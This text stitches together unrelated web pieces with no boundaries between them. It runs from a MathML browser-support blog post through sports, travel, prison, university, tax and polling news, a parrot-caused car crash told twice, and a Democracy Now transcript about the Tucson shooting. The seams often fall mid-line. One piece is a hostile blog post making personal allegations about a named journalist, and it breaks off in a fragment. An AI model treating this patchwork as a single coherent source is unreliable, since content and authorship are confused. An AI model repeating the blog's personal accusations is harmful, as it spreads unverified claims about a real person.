In the past decade MathML became the standard for mathematical content in publishing work flows, technical writing, and math software. Despite its success MathML remained hidden from view of the (web) community as most MathML content stayed behind paywalls, within intranets or in print. For lack of browser support, MathML entered the open web mostly as image renderings or PDFs, losing all the advantages of its markup in the process.
With HTML 5 MathML (now at version 3) was finally brought back into the fold as a regular part of HTML; no more namespaces, no more XML parsing—in HTML 5, MathML is just HTML.
(By the way, for those who know TeX/LaTeX (and maybe think it is the one true way), it is probably important to know that the MathML and LaTeX working groups overlap and that MathML, while a completely different beast, is sort of what you get when you try to fit math mode LaTeX into a DOM (this is, of course, a lie).)
Browser support
Given its odd history, it is perhaps not too surprising that the state of MathML support in browsers is a bit complicated. First off, MathML consists of two large parts, Presentation and Content MathML. No browser or JavaScript polyfill renders Content MathML (but see below for plugins). However, this is not really a problem in real life since Content MathML can be converted and embedded into Presentation MathML.
Gecko/Firefox
Mozilla has relied on its community to slowly move MathML in Gecko/Firefox forward. Most of the implementation has been done by unpaid volunteers (but of course code review, support and maintenance has been provided by Mozilla employees). Still, Mozilla does not seem too interested in pushing its MathML development over the finish line.
The current state of MathML in Mozilla is solid and sufficient for production use; see their overview for details. The largest part of (Presentation) MathML 3 is implemented. The big missing blocks are the “elementary math” elements (important for school-level math) as well as some of the more advanced <mtable> features and alignments (one of the trickiest parts of MathML that cannot easily be done with HTML/CSS constructs).
Gecko’s implementation re-uses HTML/CSS rendering code, which is as it should be—math is two-dimensional text, typographically speaking. There are a few Firefox Add-ons to tweak things, in particular for Content MathML and elementary math support via XSLT stylesheets.
The future outlook is much like the past. Whether the remaining MathML features are implemented will depend largely on volunteers or third parties stepping up but at least Mozilla considers the code base important.
WebKit/Safari
WebKit has also relied on unpaid volunteers for its implementations. There have been basically two separate pushes (by separate volunteers) and no steady development so far. In addition, Apple developers have been spotted working on VoiceOver/accessibility related issues. WebKit has not really shown strong interest or support for the volunteer work but has at least accepted contributions. The second volunteer push was in 2012 (more on that later) and it seems the last chunk of these contributions has finally been integrated into Safari 7.
WebKit’s MathML support can only be described as partial and is not ready for professional production. However, it is enough for many enthusiast which could create a productive feedback loop. While simple mathematical expressions will render, some basic constructs are not implemented. Notably limited or missing are horizontal stretch characters, RTL, linebreaking, elementary math, and most mtable attributes; check WebKit’s status page for details. As with Firefox, WebKit’s implementation re-uses HTML/CSS rendering components.
The future outlook is somewhat bleak. There is a little bit of volunteer work going on (fixing security bugs, implementing multiscripts). The 2012 push (see Blink below) has shown that without a clearer message from WebKit companies, it is unlikely WebKit will attract new contributions.
On the bright side, a few WebKit developers review code and Safari actually uses the MathML code. While the rendering quality of WebKit is currently too low, the 80/20 point is not that far off.
Internet Explorer
Microsoft has never indicated interest in implementing MathML in Internet Explorer directly. However, in the good old days of IE monopoly (aka 2000), Design Science released its free MathPlayer plugin for IE. MathPlayer (now at version 3) still provides the most complete MathML 3 support (including Content MathML), but unfortunately only on IE 6-9.
Accordingly, the current support in IE is a bit odd: for IE<10 with MathPlayer installed, MathML support is virtually flawless. Otherwise, there is absolutely no native support.
The outlook for the future is actually worse. Microsoft has begun to kick plugins out of IE so that MathPlayer will not be able to support IE10+. Unfortunately, Microsoft is still not showing interest in adding MathML support to IE. On the other hand, Microsoft has consistently sent a member to the W3C Math Working Group and supports MathML in its Office products and handwriting recognition.
Blink/Chrome/Opera
Chrome was the center of quite a bit of drama in early 2013. As mentioned above, 2012 saw the second volunteer effort to improve MathML in WebKit (which Chrome used at the time). A single volunteer re-wrote & improved most of the MathML code in WebKit with the specific goal of getting MathML activated in Chrome. He eventually succeeded and Chrome 24 enabled MathML. But, as it often goes, volunteers have to go back to making a living and the Chrome team did not take up ownership of the code. So when a security issue came up, Chrome decided to deactivate the MathML code again, rather than accept further community patches. (Those issues have since been resolved in WebKit.)
With the move to Blink, the MathML code was officially removed from Chrome’s code base. It could probably be brought back from WebKit for a while but for the time being Chrome has no support for MathML (and it does not exactly inspire third-party contributions in the future).
Opera gave up its (extremely) limited MathML support in Presto with the move to Chromium. Presto’s implementation was based on a CSS stylesheet using the CSS3 tables module designed for that purpose. Unfortunately, only Presto ever supported it and the module has since been retired.
As it turned out, stylesheets are simply too limited to implement MathML. If Opera’s switch to Chromium has one good consequence, it might be that the W3C “MathML CSS profile” (which you should never even link to) will finally be forgotten—it never worked and never will but gave casual observers plenty of wrong ideas.
Addendum. Shortly before publishing this post, a Chrome team member added a comment to issue 152430 (Enabling MathML support) stating that “MathML is not something that we want at this time”. This sounds very dramatic but won’t surprise anyone following the development over the past year. Unfortunately, the reactions on that thread are mostly noise. Personally, I believe this statement can actually be helpful and restart the conversation.
MathML Test Suite
As a point of reference, the W3C Math Working Group keeps an extensive MathML test suite. Feel free to run your favorite browser through it and compare the results.
Polyfills
MathML’s history makes polyfills challenging. To say the least. Most polyfills take on new APIs, e.g. web sockets, storage, shadow DOM. Accordingly, most polyfills are not held to extremely high standards, have time to grow and influence browser development and, above all, most polyfills do not to implement a whole new text rendering capability, closely interacting with existing text rendering.
Mathematical layout is different. Math is two-dimensional text and there are already high standards, deeply ingrained into education and publishing. At the same time, the need for math on the web has been urgent from the start which has led to horrifyingly stopgap but inherently wrong solutions such as image-rendering (would you render regular text as an image?).
Besides providing acceptable rendering, MathML polyfills also have to tackle several other problems. For example, fonts remain a challenge (see more below) and browsers do not offer enough APIs for accessing font metrics, calculating correct widths and heights, or signaling the download of webfonts.
Another problem for polyfills is CSS. While picking up direct (inline) styling of MathML elements is easy enough and inheritance of surrounding CSS will work if a polyfill generates HTML, the only other proper method for accessing intended styles is getComputedStyle —which is too slow for hundreds or thousands of equations.
A common misconception is that a stylesheet may be enough to implement MathML. Opera tried and failed. (If you take away only one thing from reading this, please let it be this: a stylesheet for MathML will not work. Really. Save yourself the time and everyone the trouble.)
MathJax
[Disclaimer in case you missed it earlier: I am part of the MathJax team.]
MathJax is a bit more than just a MathML polyfill. The MathJax project started in 2008 as the successor to jsmath when technologies such as CSS 2.1 and webfonts were just about good enough to have (lots of clever) JavaScript solve the problem—no plugins, no font installation, just working out of the box.
MathJax implements the TeX layout algorithm, laying out subexpressions recursively with precise measurements and asynchronously providing webfonts, their font metrics and everything else needed for cross-browser support, all the way down to IE6.
MathJax is highly modular and extensible in input, output, and internal format; it currently accepts MathML, TeX and asciimath input, and creates either HTML/CSS, SVG or (tweaked) MathML output. Its MathML support covers most of Presentation MathML and there is experimental support for Content MathML. Notably missing are elementary math, RTL, and some of the advanced mtable attributes; see the MathJax documentation for details. MathJax also comes with a rich set of APIs which have enabled everything from StackExchange sites to web-based editors to interactive document formats (iPython, Sage) to ePub 3 reading systems.
jqmath
jqmath is actually almost as old as MathJax but only recently separated input and output so that it now works with standard MathML input (jqmath also offers a nice serialized input language).
As a polyfill, jqmath takes a completely different approach from MathJax, trying to let browser layout engines do most of the work. It is faster than MathJax but has trouble dealing with more complex content—browsers are just not reliable enough. jqmath mostly relies on local fonts and browser support for those.
jqmath is developed by Dave Barton who is the volunteer who worked on WebKit’s MathML code in 2012. Accordingly, jqmath works especially well augmenting WebKit/Safari MathML support.
tl;dr—samples!
Here are two sets of samples.
What works
First, a sample of four equations that should render ok out of the box in Firefox, Safari, MathPlayer, jqmath, and MathJax. But first, let’s look at your browser’s rendering.
Here are some screenshots for comparison.
What does not work
Here is a sample of four equations where at least one won’t work out of the box in your browser (except with MathPlayer on IE). This sample contains elementary math and RTL content in the bottom row. Again, let’s first look at your browser’s rendering.
Again, here are some screenshots for comparison.
Fonts
Fonts are a particular issue for mathematics, MathML and polyfills in particular. The most obvious problem is that most fonts do not contain glyphs for mathematical characters. But even when they do, many mathematical and scientific characters lie outside the Unicode BMP and only recent browser versions support non-BMP codepoints well enough.
Mathematics also needs stretchy characters (parenthesis, braces, root signs, etc.) which are built out of multiple glyphs; some of these glyphs have no Unicode codepoint and fonts store them at PUA codepoints (or even outside the Unicode range). In theory, the OpenType MATH table extension (developed but not officially released by Microsoft) could resolve these problems. However, no browser actually supports OpenType MATH tables—and like most low-level font technology, JavaScript polyfills would probably not be able to access them.
On the browser side, Gecko/Firefox supports stretchy constructions with Unicode characters in general and but for non-unicode components support is limited to STIX and Asana fonts (by hardcoding the PUA codepoints); see Mozilla’s documentation. WebKit/Safari only supports some stretchy constructions with Unicode characters. A big problem is for users to have the necessary fonts on their system. Firefox does not ship math fonts but there is s a math fonts Addon. Safari ships with the STIX fonts on OSX, but not iOS.
On the polyfill side, MathJax provides the necessary font data for its own webfonts and the STIX fonts with more font options in the upcoming release; jqmath leverages local fonts.
Accessibility
One of the great advantages of MathML is accessibility. Accessibility today is not just about low vision and blindness but everything from physical to learning disabilities. Most of all, it improves content for all users. With MathML, mathematical content becomes native—searchable, re-usable, copy&paste-able, and can take part in dynamic content. Simply put: it does anything we’ve come to expect from text on the web.
The state of MathML accessibility is another one of those odd aspects of its history. With so little browser support, you might not expect accessibility tools. However, the already mentioned MathPlayer plugin for IE is also the gold standard for math accessibility, providing state-of-the-art speech generation in several languages as well as Braille output, synchronized highlighting and other advanced features.
The newcomer is ChromeVox (for Chrome, ChromeOS and Android), which added math support earlier this year. Apple’s VoiceOver also recently added some support for voicing MathML in iOS7 and OSX 10.9 (Maverick). Given the state of MathML support in Safari and Chrome, this is truly “putting accessibility first”. Very recently, NVDA’s James Teh announced a prototype with MathML support.
Both MathPlayer and ChromeVox work well with MathJax. MathJax will recognize MathPlayer and hand off rendering & accessibility features. ChromeVox leverages MathJax’s APIs to make MathJax output as accessible as native MathML and in turn uses MathJax to make image renderings accessible on sites like Wikipedia, MathWorld and WordPress.com.
If you don’t see the screencast, please follow this link to the Design Science demo page.
The future
You might be dismayed when you hear that there is little reliable browser support and little to no active development. Or you might be frustrated with the complexities of polyfilling MathML.
A different perspective is to see MathML as the comeback kid of web standards. Browser vendors may not be able to see the importance or the opportunities that lie in MathML but its community won’t give up. Where other standards have slowly withered away, MathML has not only stood its ground, it was kicked out and made it back into HTML.
There is a simple reason for this: the standard is good. Its community is robust, the development steady and the need for math simply universal in education, research and industry around the world.
The most important outlook is that we are on the brink of solving the problem of browser support. Gecko is already past the 80/20 point and with a bit of funding WebKit could get there quickly. This might, in turn, lead to Blink reconsidering and re-importing the code from WebKit. At that point a large majority of users would be covered and polyfills could start augmenting the native rendering, instead of replacing it—and develop the web forward, towards future iterations of MathML.
We do not even have to wait for browser vendors to get around to this, it can start right now.Matt Schaub never will be confused with Colin Kaepernick.
There are many reasons for this, but the way in which each plays quarterback definitely is one of them. Kaepernick represents the new guard: a sleek, big-armed playmaker who can beat you in multiple ways.
Schaub, by comparison, is the old guard: a dropback passer who relies on good decision-making and precision with his throws. A revolution might be underway at his position, but Schaub feels there always will be room for signal-callers like him.
"In this league, it comes down to being able to stand in the pocket and make the throws and be able to take a hit in the pocket," Schaub told WJZ-FM in Baltimore, via SportsRadioInterviews.com. "You see certain talents coming out now -- the RG3s, Russell Wilson -- certain guys and certain types. Colin Kaepernick finished the season extremely well -- these type of players that can do a little bit of everything and do it well.
"It comes down to being a great decision-maker, and making those throws, being accurate, because you can't substitute for those things," he continued. "But you can see things happening, but offenses have to develop as well, whether there's the blocking schemes and being able to run things of that nature and have the running backs for it.
"A lot goes into it just more than the quarterback's skills. But you see things evolving and things changing, but I think it'll be hard to ever fully replace a pocket passer."
So does Schaub represent a dinosaur staring down the fiery meteor? The game constantly is evolving from a strategy standpoint, making it far too early to reach a conclusion about the read-option attack.
But Schaub is right about one thing: If you can't make the throws, you can't play quarterback. That won't change.
Follow Dan Hanzus on Twitter @DanHanzus.So, there I was, cozy as a bug in a rug, and up pops Rachel Mardsen with her article “Brexiting a spy nest” which she posted in LinkedIn. I knew nothing about her, but a friend and colleague had commented, so I looked at the article.
I read it and gave a fairly honest, if rather frank, review in my blog piece: “Pardon me, your bias is showing“, a rehash of what I had earlier stated online. According to others viewing and commenting on her article who sent me PMs, I said what they wanted to say. Then she went plumb loco on me.
Within a few minutes, a friend wrote me and told me that Rachel deleted my posts reviewing her article.
She also deleted the link I posted to my blog, “Pardon me your bias is showing”.
Then she blocked me on LinkedIn.
Then she blocked at least one of my friends!
Three different friends wrote and told me what was going on. I don’t normally have a lot of friends write me, but the support was overwhelming. It could also be hatred or dislike of Rachel, the jury is still out. Okay, it’s her.
Perhaps she was thinking she can prevent me from doing any other nefarious spy-stuff she thinks EU diplomats do (read her column to decipher, Brexiting a spy nest).
All because of my review of her article. Is she thin skinned? Yes. Overly sensitive? Yes. Open to discussion, criticism, or an objective and educated honest review of her material? Absolutely not, no way, not in the slightest.
She claims she is an expert in intelligence but the naïveté of her remarks on intelligence indicate either a lack of knowledge or too much resourcing from Alex Jones at Inforwars.com.
Seeing as she works for Sputnik out of the Paris office and used to be a useful idiot for RT (she got canned), I can honestly call her a Russian troll for her troll-like behavior. She got an article into the inaugural issue of Sputnik and is proud as crap of that:
Born and raised in Canada (she returns each summer), she works at for the Tribune Publishing Corporation, lives in Paris and appears to have a deeply dysfunctional history.
Background Exposè
Criminal charges. For your edification only, here is her personal history from Wikipedia, we will have a two more detailed descriptions later.
I’ve never seen anyone charged with harassment, and she was charged twice. The second charge was dropped. Then she parleys a complaint about her Wikipedia biography into a relationship with the co-founder, which results in charges and counter-charges. Below is a timeline and case study of her stalking. If that doesn’t put the heebie-jeebies into you, I don’t know what will.
I just wonder if she’s going to abuse her position as a journalist and go after me? I wonder if these disastrous breakups and a severe aversion for criticism indicate a personality disorder? A little bird told me that she often threatens to sue people. Upon advice from my attorney, I say bring it. She doesn’t stand a Tinkerbell’s chance in hell.
Twitter and Sock Account
This is Rachel Marsden’s twitter account, (UID 2201472438). It has the same Twitter ID number from the @rachelmarsden original account. It is racist as heck, |
, activities, and it was also lonely to be moving around the world by myself,” Katherine says, “Remote Year can easily be a bit of a bubble and is a different method of traveling. I do think there’s a lot of value to traveling on one’s own, but since this is a long-term lifestyle for me and Remote Year wasn’t my only experience living as a digital nomad, it was absolutely beneficial for me to do for a year.”
However, joining the program came with a hefty price. Participants have to pay $2,000 a month for the first 11 months plus a down payment of $5,000 – a princely sum for many and definitely not the cheapest way to travel.
But for Katherine, it was a price well worth the experience you get in exchange. “$27,000 sounds expensive, and yes it isn’t an insignificant expense, but it breaks down to $600-800 for housing, $200-300 for a coworking space, $200-500 for traveling, and the remaining for staff/overhead (your program managers, local city teams, and the back-of-house Remote Year staff). Imagine having to fix wifi connection issues or missing a flight when traveling by yourself versus having the Remote Year team to fix any problems,” she says, “it’s so nice to not have it be YOUR problem.”
The Inaugural Batch Experience
Being a part of the inaugural Remote Year batch had its pros and cons. The founders and many of the staff members had no past experience in the travel industry and there were hiccups along the way.
“At the start of Remote Year, I was quite happy for a few reasons. I had zero expectations and just wanted to travel, and at that time we were the only “Remote Year” group of 75 people and no one else. That meant the level of attention and customer service was high – in fact we had a team of about 7 staff dedicated just for us,” she says.
“Halfway through our program, Remote Year “exploded” and began running programs one after another, which is when I felt like they dropped the ball on our group. The team of 7 dedicated staff members soon turned to 2 and at times we only had 1 staff member around. In the beginning, I felt like our feedback was well received but then by the end, I felt like we weren’t being heard which was frustrating.”
The inaugural class traveled to twelve cities in twelve months, in this order: Prague, Czech Republic; Ljubljana, Slovenia; Cavtat, Croatia; Istanbul, Turkey; Penang, Malaysia; Ko Phangan, Thailand; Hanoi, Vietnam; Kyoto, Japan; Buenos Aires, Argentina; Montevideo, Uruguay; Santiago, Chile; and Lima, Peru.
Image courtesy of Kate Smith
Despite the hiccups during the program, Kate also mentioned that Remote Year connected her with a group of people she would have never had the opportunity to connect with. “I learned so much from the people on the program,” she adds, “and was able to experience what I like to say was 3 years of personal and professional growth in one year. That came with a lot of ups and downs, but overall I couldn’t be happier with the growth I experienced.”
Challenges of traveling as a huge group
One of the challenges for some of the participants was navigating the large group dynamic. Traveling with 74 other people might be overwhelming for some, considering you’ll be spending most of your time together everyday for an entire year.
“I certainly think a smaller group size would have been more beneficial. There were people who left the program because it was challenging to navigate a group dynamic, and that can be overwhelming to some,” Kate said. “My advice is be prepared to be overwhelmed, but at the same time know that is where the personal growth comes in – learning how to adapt, becoming resilient, managing your time, etc.”
Image courtesy of Kate Smith
Traveling with a huge group also made navigating work and being productive more challenging, with activities and side trips constantly being put together. “There was a lot of partying and not enough professional development activities. Not everyone was working full-time so it felt hard to “keep up” when others had more free time and money,” she added.
“At one point participants took it upon themselves to start skill-sharing workshops and various groups for professional development. This eventually faded, as expected when you have 75 people trying to run it themselves. That should have been a sign for Remote Year to step in.”
The Remote Year bubble
One of the fun perks of traveling is immersing yourself in a new culture and meeting locals. However, when you travel as a large group, the opportunity to mingle with the locals is lessen significantly.
Zoe Björnson, a product manager currently living in Bali, described Remote Year as a little bubble. “As we get further along in the program, one of the cons I’ve seen get more apparent is that we’re kind of like a little bubble because we all are so close. I can see us sort of being a little cliquey from time to time, and not branching out in our local communities as much as we probably should have,” she said.
The power of community
On the flip side, being a part of the Remote Year community has its advantages. The group would support each other in professional projects, and there were many opportunities for collaboration and networking.
“I now have a global network thanks to Remote Year. These connections have also helped me get to where I am today. I’m even going to start collaborating with a Remote Year participant on a podcast – someone I’ve never actually met in person but was connected with through the Remote Year network,” Kate said.
Zoe agrees, mentioning that the community of Remote Year was what she was looking forward to after she got accepted into the Remote Year program.
Image courtesy of Zoe Björnson
“I’ve met some truly amazing people on this journey, both on the program and the people, locals and travelers, we meet in each city. All of the people on Remote Year are the good kind of crazy — they agreed to go on a trip around the world for a year with 70 strangers, for Christ’s sake!” she said.
“They are all excited to be where they are and that’s something rare in this world, I think. They are the kind of people who I am not sure how I would have met without Remote Year. Some of my closest friends are over ten years older than I am, and I think that’s a really unique aspect of the program,” Zoe added.
Would they do it again?
While Remote Year exposed Kate to a sustainable way of traveling the world and provided her with valuable connections, she mentions that she won’t be signing up for second time.
“Joining Remote Year is almost like a pre-arranged marriage, where you are committing a year of your life to a company that you don’t really know much about. At times you will love them, and at times they will disappoint, but you will work through it. Regardless of what you’re looking to achieve, it will change your life forever and it will be the most impactful year of your life. However, that doesn’t mean I’d go back and do another full year,” she says, “It’s just like university in that it’s the best years of your life but that doesn’t mean you would go back and do another 4 years.” Are you a past Remote Year alumni? We would love to hear about your experience. Leave us a comment below!CLEVELAND, Ohio – Convicted former Cuyahoga County Commissioner Jimmy Dimora has been transferred from the cool mountains of West Virginia to the scorching, cactus-dotted Mojave Desert of Southern California near Death Valley.
Dimora is serving a 28-year prison sentence for racketeering and 30 other corruption-related charges. He has appealed his convictions, and is awaiting a decision from the 6th U.S. Circuit Court of Appeals in Cincinnati on his request for a new trial.
What no one was willing to answer on Monday was why Dimora was moved from the medium-security Gilmer federal prison in Glenville, W.Va., to the Victorville medium security prison in San Bernardino County, about 85 miles northeast of Los Angeles and more than 2,000 miles from Cleveland.
“I can’t comment on why he was moved,” said Chris Burke, a spokesman for the U.S. Bureau of Prisons in Washington, D.C.
Typically, the Bureau of Prisons will incarcerate an inmate in a federal corrections facility located within 500 miles of the inmate’s home and family, Burke said.
Exceptions are made for security purposes, inmate protection, disciplinary sanctions, or special medical needs, he said.
“He would know why he was moved, if he wanted to tell his lawyer,” Burke said.
“I don’t know why he was moved,” said defense attorney Christian Grostic. “The Bureau of Prisons is in charge of where he is located, and they are the only ones who know why they do these things.”
Grostic confirmed that Dimora’s family has not moved to California, and his wife remains at house in Independence.
Defense attorney Roger Synenberg, who represents former County Auditor Frank Russo -- Dimora’s one-time political crony -- thinks he knows why Dimora was transferred from the mountains to the desert.
“I think it’s just the Bureau of Prisons messing with him,” Synenberg said.
Russo is serving a nearly 22-year sentence at a federal prison in Loretto, Pa., although he is expected to have his time reduced for cooperating with the FBI, and for testifying against Dimora and others among the more than 60 defendants in the county corruption case.
Such cross-country transfers of high-profile Northeast Ohio inmates are not unprecedented. Last year, the Bureau of Prisons assigned 68-year-old Amish bishop Samuel Mullet to a federal facility in Texarkana, Texas, to begin serving a 15-year sentence for beard- and hair-cutting hate crimes.
The Bureau of Prisons rejected pleas by Mullet’s defense lawyer and trial judge for a prison assignment closer to his family and flock in Jefferson County, Ohio.
Dimora’s new home behind bars is located on land that was formerly part of the George U.S. Air Force Base.
Fellow inmates include Miguel Caro-Quintero, former leader of the Sonora Cartel, a Mexican drug-trafficking organization, who is serving a 17-year sentence; and George Trofimoff, a retired colonel in the U.S. Army Reserve who is serving a life sentence for espionage after being convicted of passing classified military documents to the KGB during the Cold War.
Last year, former major league baseball player Lenny Dykstra was released from Victorville after serving 15 months for fraud and money laundering.The Board Approved over $105 million to be spent on a new roof for the Carrier Dome.
SYRACUSE, N.Y. --- The Syracuse Board of Trustees have announced an over $200 million plan to upgrade the University's West Campus. The University says this plan is the result of an 18 month process that received input from over 5,000 students, faculty and staff.
The project included renovations to Archbold Gymnasium to make it a "state of the art student-focused health and wellness complex. And Americans with Disabilities Act work that aims to provide an inclusive environment for fans with physical limitations.
The most anticipated announcement was that of the replacement of the Carrier Dome roof. The board met last week to discuss their plans. In 2014 it was reported that Syracuse was considering building a new arena to replace the Carrier Dome.
This announcement sets it in stone that the men's and women's basketball teams aren't going anywhere. In the statement, the University said that approximately $105 million will be spent to replace the roof.
Another $50 million will be spent on the "Arch" project with the remaining $100 million to be spent on improvements that include Americans with Disabilities Act related upgrades.
No time-table has been set on when construction will begin or finish.
The full press release can be read here.Nobel economist Joseph Stiglitz said United States tax law that allows Apple hold a large amount of cash abroad is “obviously deficient” and called the company’s attribution of significant earnings to a comparatively small overseas unit a “fraud”.
“Our current tax system encourages companies to keep their money abroad, opens up a vast loophole through what is called the transfer-pricing system that allows them not only to keep their money abroad but, effectively, to escape taxation,” said Mr Stiglitz, who advises Hillary Clinton’s presidential campaign.
The Nobel economist was speaking in response to a question about whether policymakers such as Ms Clinton and senator Elizabeth Warren, a Democrat from Massachusetts, could develop a plan to encourage companies such as Apple to bring their accumulated foreign earnings back to the US.
Under current law, companies can defer US income tax on their foreign earnings until they repatriate them, or return them to the US.
About $215 billion of Apple’s total $232 billion in cash is held outside of the country, third-quarter earnings results showed this week.
Apple is making use of existing gaps in the US tax system to shift its US taxable earnings overseas to low-tax Ireland.
Proposed US treasury regulations are aimed at curbing so-called earnings stripping, and European tax regulators are examining the company’s tax practices.
‘Wrong’ Incentives
“Here we have the largest corporation in capitalisation not only in America but in the world, bigger than GM was at its peak, and claiming that most of its profits originate from about a few hundred people working in Ireland – that’s a fraud,” Mr Stiglitz said.
“A tax law that encourages American firms to keep jobs abroad is wrong, and I think we can get a consensus in America to get that changed.”
Apple has a corporate structure that allows it to transfer money to low-tax jurisdictions, and one of those is Ireland,where the corporate tax rate is 12.5 per cent – far below the US top statutory rate of 35 per cent.
The European Commission, the European Union’s executive arm, is probing whether Ireland violated the bloc’s state-aid rules by helping Apple lower its Irish tax liability.
Apple, which declined to comment on Mr Stiglitz’s remarks, has firmly denied using any tax gimmicks, telling an EU tax panel in March that it had paid all of its taxes due in Ireland.
Apple employees 5,500 people in Ireland, according to its website. In US Senate testimony in 2013, chief executive Tim Cook advocated a change to the corporate tax code which would “eliminate all corporate tax expenditures, lower corporate income-tax rates and implement a reasonable tax on foreign earnings that allows the free flow of capital back to the US,” adding that such legislation would increase Apple’s US taxes.
– (Bloomberg)The Supreme Court last week agreed to take a case from Christian-run business Hobby Lobby, which is suing the Obama administration over its mandate that it pay for birth control and abortion-causing drugs for its employees. But where do Americans stand on the issue of whether employers should be forced to comply with the mandate.
A new Rasmussen Reports poll shows they apparently agree.
“Half of voters now oppose a government requirement that employers provide health insurance with free contraceptives for their female employees,” Rasmussen reports today.
The poll found: “The latest Rasmussen Reports national telephone survey finds that 38% of Likely U.S. Voters still believe businesses should be required by law to provide health insurance that covers all government-approved contraceptives for women without co-payments or other charges to the patient.
Fifty-one percent (51%) disagree and say employers should not be required to provide health insurance with this type of coverage. Eleven percent (11%) are not sure.”
The poll found support for Hobby Lobby ad other plaintiffs opposing the mandate has risen, with 46-43 percent opposing the HHS mandate in its 2012 survey.
“A plurality (48%) of voters also believes a business should be able to opt out of providing health insurance coverage for contraceptives if providing such coverage violates the religious beliefs of the business’ owner. Nearly as many (42%), however, think a business should not be allowed to opt out of this requirement for religious reasons,” Rasmussen indicated. “Voters favored allowing a business to opt out by a narrower 46% to 41% margin last December.”
From the poll:
Sixty-four percent (64%) of Democrats believe businesses should be required by law to provide health insurance coverage for their female employees that includes free contraceptives. Eighty percent (80%) of Republicans and 54% of voters not affiliated with either major party oppose this requirement. Similarly, 72% of GOP voters and 53% of unaffiliateds think a business should be allowed to opt out of this mandate if providing such coverage violates the religious beliefs of the business owner. Sixty-seven percent (67%) of Democrats say a business should not be allowed to opt out for this reason. Most men believe a business should be able to opt out; women are evenly divided. Voters under 40 are much stronger supporters of the contraceptive coverage requirement and much stronger opponents of opting out than their elders are. CLICK LIKE IF YOU’RE PRO-LIFE! Sixty percent (60%) of pro-choice voters think a business should be required to provide health insurance coverage for its women employees that includes free contraceptives. Seventy-four percent (74%) of pro-life voters disagree.
The survey of 1,000 Likely Voters was conducted on December 1, 2013 by Rasmussen Reports. The margin of sampling error is +/- 3 percentage points with a 95% level of confidence.
Another poll last week found 59 percent of Americans disagree with the mandate.A woman says before she drove her car off a Uniontown road, her pet parrot distracted her.Angel Holyfield, 35, of Uniontown, was driving on Township Drive in South Union Township when she says she looked down at her parrot, which was inside the vehicle.According to Holyfield, her parrot, which likes to drink coffee, was pecking at the lid of the coffee cup and distracted her. She then drove her car off the road and into a guard rail.According to state police in Uniontown, Holyfield was transported to Uniontown Hospital and treated for a broken forearm and facial lacerations from the airbags.Police say there was bird feed in the cup holder next to the coffee cup. The parrot was safely removed from the vehicle at the scene.Police say charges are pending.
A woman says before she drove her car off a Uniontown road, her pet parrot distracted her.
Angel Holyfield, 35, of Uniontown, was driving on Township Drive in South Union Township when she says she looked down at her parrot, which was inside the vehicle.
Advertisement
According to Holyfield, her parrot, which likes to drink coffee, was pecking at the lid of the coffee cup and distracted her. She then drove her car off the road and into a guard rail.
According to state police in Uniontown, Holyfield was transported to Uniontown Hospital and treated for a broken forearm and facial lacerations from the airbags.
Police say there was bird feed in the cup holder next to the coffee cup. The parrot was safely removed from the vehicle at the scene.
Police say charges are pending.
AlertMeThis is a rush transcript. Copy may not be in its final form.
JUAN GONZALEZ: The youngest victim of the Arizona shooting rampage has been laid to rest. More than 2,000 people packed into a Tucson church, and hundreds more lined the road outside, to remember nine-year-old Christina Taylor Green. The third-grade student was born on September 11th, 2001. She had recently been elected to her school’s student council. Her funeral was the first for the six people killed last week when alleged gunman Jared Loughton opened fire at a Tucson grocery store in an apparent assassination attempt of Congressmember Gabrielle Giffords.
The shooting has sparked a national debate across the country about political rhetoric. Many have pointed to a controversial map issued by former Republican vice-presidential nominee Sarah Palin that included crosshairs on various Democratic districts, including Giffords’. In a tweet at the time, Palin urged supporters, quote, “Don’t Retreat-RELOAD!”
Giffords won reelection in a tight race against her Tea Party-backed Republican opponent Jesse Kelly, a former Marine who served in Iraq. In June, Kelly promoted a campaign event on his website that read, quote, “Get on Target for Victory in November. Help remove Gabrielle Giffords from office. Shoot a fully automatic M16 with Jesse Kelly.”
AMY GOODMAN: Critics have also pointed to comments made by the former Republican candidate for Senate from Nevada, Sharron Angle. Angle came under intense scrutiny during the campaign for suggesting people should invoke “Second Amendment remedies” as a check on the government and to, quote, “take out” her opponent, Harry Reid.
We turn now to one of the survivors of the Arizona shooting, Eric Fuller. He’s a 63-year-old disabled vet who had campaigned for Gabrielle Giffords. He was at the supermarket in Tucson Saturday to meet with Giffords. He was shot in the leg, wounded in the back. We spoke with him at his home in Tucson, and he described what happened.
ERIC FULLER: Once she walked up to me, she said, “I’ll answer your questions, but you have to wait.” And there was a line forming up there, so I went over and I sat down and looked over my questions, only two of them, kind of long ones, and was trying to figure out which one and whether I should, you know, ask those questions, when I heard the sound of gunshots. And I looked over only about 10 or 15 feet away, where Gabrielle Giffords had been standing, and in her place was a very excited gunman who was athletically pumping out the rounds and pointing the gun at anybody that he could get a bead on.
People around me were being hit. I just dove for the ground. And while I was diving for the ground, a round hit me in the knee. I was conscious of that. And while I was on the ground, I guess another one, another round, hit me in the back. A fragment did; it hit me in the back. A woman went over and knocked the clip out of his hand. He was reloading. He had a Glock 9mm with a 30-round clip in it. And my thought on the ground was that he’s going to come and finish us off. But this woman knocked the other clip out of his hand. Then a couple of guys came along, bystanders, and they tackled him, knocked him to the ground.
I was in shock, and I just wandered out into the parking lot. And a woman was pushing a cart full of groceries out there. And I said to her, “I’ve been shot.” And she just looked at me like I was crazy. I was taken to the hospital. And even though I was sedated and everything, I stayed up — I was staying up, stayed most of the night. And I didn’t know how to calm myself down, so I wrote down the Declaration of Independence, which I memorized some time ago. And that did help to organize my thoughts. And the first thing that I wrote down and what my reaction was to it was: “How many other people? How many other demented people are out there? It looks like Palin, Beck, Sharron Angle and the rest got their first target. Their wish for Second Amendment activism has been fulfilled — senseless hatred leading to murder, lunatic fringe anarchism, subscribed to by John Boehner, mainstream rebels with vengeance for all, even nine-year-old girls.” There was a little girl named Christina Green, nine years old, who is one of the deceased.
Another thing I wrote down was, “Can we have another fundraiser at the target range, Jesse Kelly?” Jesse Kelly ran against her in the election. And I’ve heard him speak several — a couple of times, and I couldn’t believe he was a real candidate. I thought he was just like a fake candidate. It didn’t seem like anybody would consider him seriously. He came within 4,000 votes of winning the election. One of his slogans was: “Shoot a fully automatic M16 with Jesse Kelly.” Kind of a very marginal personality and a low mentality.
I worked hard to elect Gabrielle Giffords. I would rather she was busy doing her job today than lying in a hospital with a gunshot wound in the head.
